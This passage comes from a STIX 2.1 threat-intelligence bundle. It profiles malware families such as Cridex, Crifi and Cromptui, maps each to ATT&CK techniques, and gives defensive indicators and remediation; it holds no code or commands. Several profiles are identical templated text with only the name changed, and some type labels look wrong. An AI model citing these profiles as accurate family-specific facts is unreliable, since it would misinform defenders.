      "id": "relationship--a52d31b9-7485-5286-a09c-184ad74ce4de",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--26e284ec-39bf-5d48-9a05-928b706deeb7",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Creprote exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--200409c3-ac67-50e0-ba7e-2ab4578087d4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--26e284ec-39bf-5d48-9a05-928b706deeb7",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Creprote exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--46e4a1af-ca19-50f0-b584-bd3da9785a6b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--26e284ec-39bf-5d48-9a05-928b706deeb7",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Creprote exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a274fb43-0163-5fdf-a3ef-ce5ee52dda39",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--26e284ec-39bf-5d48-9a05-928b706deeb7",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Creprote exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f846542b-9adc-57a8-b735-f8d4b449fda3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--26e284ec-39bf-5d48-9a05-928b706deeb7",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Creprote exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--145ff078-bf40-5eea-b575-718a34a2e98d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Cridex",
      "description": "<h3>Executive Summary</h3>\nCridex is a highly influential banking trojan and worm that emerged in 2011, notorious for being the direct predecessor to the devastating Dridex botnet. Designed for aggressive financial theft, Cridex infected systems to harvest banking credentials, intercept secure web sessions, and rapidly propagate across local networks and removable media, causing massive financial losses in the early 2010s.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nCridex utilized a multi-pronged distribution strategy, primarily leveraging massive spam campaigns containing malicious attachments (often ZIP files containing executable droppers) and drive-by downloads via the Blackhole Exploit Kit.\n\nOnce active, Cridex combined the espionage capabilities of a banking trojan with the spread of a worm:\n<ul>\n<li><strong>Web Injection (Man-in-the-Browser):</strong> Cridex's primary weapon was its ability to inject malicious HTML and JavaScript directly into the user's web browser in real-time (MitB). When a victim visited a targeted banking portal, Cridex would alter the login page, requesting additional sensitive information (like ATM PINs or mother's maiden name) and bypassing two-factor authentication.</li>\n<li><strong>Worm Propagation:</strong> Unlike modern banking trojans, Cridex actively sought to spread. It monitored the system for newly inserted USB flash drives, copying itself and creating an `AutoRun.inf` file. It also attempted to spread across open SMB network shares using weak or stolen credentials.</li>\n<li><strong>Peer-to-Peer (P2P) Architecture:</strong> Later variants of Cridex experimented with a P2P command-and-control (C2) architecture. Instead of relying on a centralized server that could be easily taken down, infected nodes communicated with each other to distribute configuration files and exfiltrate stolen data.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Cridex infection represents a critical security incident resulting in immediate financial risk. The theft of banking credentials combined with the worm's ability to rapidly infect an entire corporate network makes it a highly destructive threat that requires immediate containment.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Immediate Network Segmentation:</strong> Physically or logically segment the infected endpoint and its surrounding VLAN to halt the lateral spread of the worm via SMB shares.</li>\n<li><strong>Credential Reset and Fraud Alert:</strong> All financial institutions accessed from the infected machine must be notified immediately. All session tokens and credentials must be revoked and reset.</li>\n<li><strong>Disable AutoRun:</strong> Ensure enterprise-wide Group Policy Objects (GPOs) completely disable AutoRun and AutoPlay to prevent the USB propagation vector.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Worm.Cridex",
        "Trojan.Cridex",
        "W32/Cridex"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Cridex",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/cridex"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--274d450f-6615-599a-860f-ca47d71392f0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--145ff078-bf40-5eea-b575-718a34a2e98d",
      "target_ref": "attack-pattern--3de29a73-c5ce-5b4c-82e7-4707471dcabe",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cridex exhibits technique T1056.004 (Input Capture: Credential API Hooking)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9d122b0d-dd77-54f8-bc68-634e106e0023",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--145ff078-bf40-5eea-b575-718a34a2e98d",
      "target_ref": "attack-pattern--6ba42f78-216a-57bb-8f7c-b5271692217a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cridex exhibits technique T1091 (Replication Through Removable Media (The core propagation mechanism using autorun.inf))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e1cc16f4-9bca-58cb-800c-8f2ede3c0c93",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--145ff078-bf40-5eea-b575-718a34a2e98d",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cridex exhibits technique T1185 (Browser Session Hijacking (Ad injection and tracking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e0a42e3e-cab9-5ab2-acb8-7da5fd936a29",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--145ff078-bf40-5eea-b575-718a34a2e98d",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cridex exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--e40d40e1-8244-5590-b28c-676032d34150",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Crifi",
      "description": "Trojan:Win32/Crifi is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Crifi</b><br>To an end-user, a Crifi infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Crifi is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Crifi is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Crifi frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Crifi reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Crifi",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/crifi"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a5b57845-24b3-52d3-9ec1-15599936739c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e40d40e1-8244-5590-b28c-676032d34150",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Crifi exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4e9937e5-44a5-5d7e-bcb6-3e047a756afe",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e40d40e1-8244-5590-b28c-676032d34150",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Crifi exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8c81548c-baff-5f77-b166-efb7ec6144cb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e40d40e1-8244-5590-b28c-676032d34150",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Crifi exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3e27c229-b862-525b-be0d-40df32018df9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e40d40e1-8244-5590-b28c-676032d34150",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Crifi exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d666ffae-10e4-56e8-9421-e8cf9de8c184",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e40d40e1-8244-5590-b28c-676032d34150",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Crifi exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--c392b9aa-f314-5056-8b48-ebae14732317",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Crime",
      "description": "Trojan:Win32/Crime is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Crime</b><br>To an end-user, a Crime infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Crime is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Crime is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Crime frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Crime reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Crime",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/crime"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--71845af3-754a-5d26-b4c2-298be982995d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c392b9aa-f314-5056-8b48-ebae14732317",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Crime exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ec7514e1-bea0-5ebd-bb8a-8abea33c17ee",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c392b9aa-f314-5056-8b48-ebae14732317",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Crime exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a129c5f0-feec-5a68-971d-8250e760ab5c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c392b9aa-f314-5056-8b48-ebae14732317",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Crime exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--40b89e6f-fc66-571a-ba26-d45ca74c8da1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c392b9aa-f314-5056-8b48-ebae14732317",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Crime exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--793eb97c-1f20-5ea8-9c44-eaea1ebfbc43",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c392b9aa-f314-5056-8b48-ebae14732317",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Crime exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--13b57907-0920-516a-b0ef-ce0324a2e287",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Crisisht",
      "description": "Trojan:Win32/Crisisht is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Crisisht</b><br>To an end-user, a Crisisht infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Crisisht is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Crisisht is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Crisisht frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Crisisht reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Crisisht",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/crisisht"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--241fe24d-ff53-5053-a5ff-6210832f3e58",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--13b57907-0920-516a-b0ef-ce0324a2e287",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Crisisht exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8f017fc2-f554-56a9-bfcb-930548dc264c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--13b57907-0920-516a-b0ef-ce0324a2e287",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Crisisht exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--31dffec6-a6e3-50bc-af19-4f67da75e081",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--13b57907-0920-516a-b0ef-ce0324a2e287",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Crisisht exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--951f51e3-9039-5172-9f67-92e0597de1a5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--13b57907-0920-516a-b0ef-ce0324a2e287",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Crisisht exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8c5800f7-d129-547b-8159-a82cd888b791",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--13b57907-0920-516a-b0ef-ce0324a2e287",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Crisisht exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--cde1be5b-a663-5741-90d9-558d3af1673e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Crispit",
      "description": "Trojan:Win32/Crispit is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Crispit</b><br>To an end-user, a Crispit infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Crispit is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Crispit is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Crispit frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Crispit reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Crispit",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/crispit"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4c8b3856-06b9-5ad9-8d97-6dc75709f48e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cde1be5b-a663-5741-90d9-558d3af1673e",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Crispit exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b44356c7-70ac-50c5-9382-d048f7a1a4ce",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cde1be5b-a663-5741-90d9-558d3af1673e",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Crispit exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e83afb88-dad0-5b27-8fae-426f9b395b6d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cde1be5b-a663-5741-90d9-558d3af1673e",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Crispit exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bff64ee3-0b8a-5b80-a16c-4f5e553a722e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cde1be5b-a663-5741-90d9-558d3af1673e",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Crispit exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c23c5fc6-2f66-52ba-ae09-6b817d30f762",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cde1be5b-a663-5741-90d9-558d3af1673e",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Crispit exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--413cf4e1-6aae-5aa6-93bc-db9afb9b6449",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Cromptui",
      "description": "<h3>Executive Summary</h3>\nCromptui is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nCromptui is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Cromptui operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Cromptui ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Cromptui receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Cromptui infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Cromptui executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Cromptui frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
